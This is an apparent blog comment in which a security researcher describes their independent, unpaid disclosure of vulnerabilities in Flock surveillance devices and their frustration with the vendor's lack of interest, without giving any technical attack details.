      Beyond doing my independent research on my own time and dime, I also don’t seek permission to disclose, ask them to thank me publicly (which they mentioned they would in passing if nothing else and then didn’t) and refuse to accept bounties as they are more and more commonly tied to NDAs. So really, I took the most legitimate path to legally disclose these issues without risking my livelihood bc I do care about the privacy and anti-surveillance concerns of these devices. If I still had the risk tolerance (and money) to risk legal repercussions (even if it’s frivolous), then maybe I’d take a different route.

      You’ll be happy to know that from my perspective and communications with flock, the large majority of these if not all, did not seem to be of any real concern nor was any interest in closing these vulnerabilities ever communicated or even hinted at. So I wouldn’t hold my breath and expect these to be resolved in future deployments. That’s just speculation at this point though.

      At this time, my communications with them has soured and the vulnerabilities I’ll be disclosing at the end of the 3 month period (9/27) have a higher “real world” risk. Maybe then these issues will be brought to the attention of more of the general public.

Leave a Reply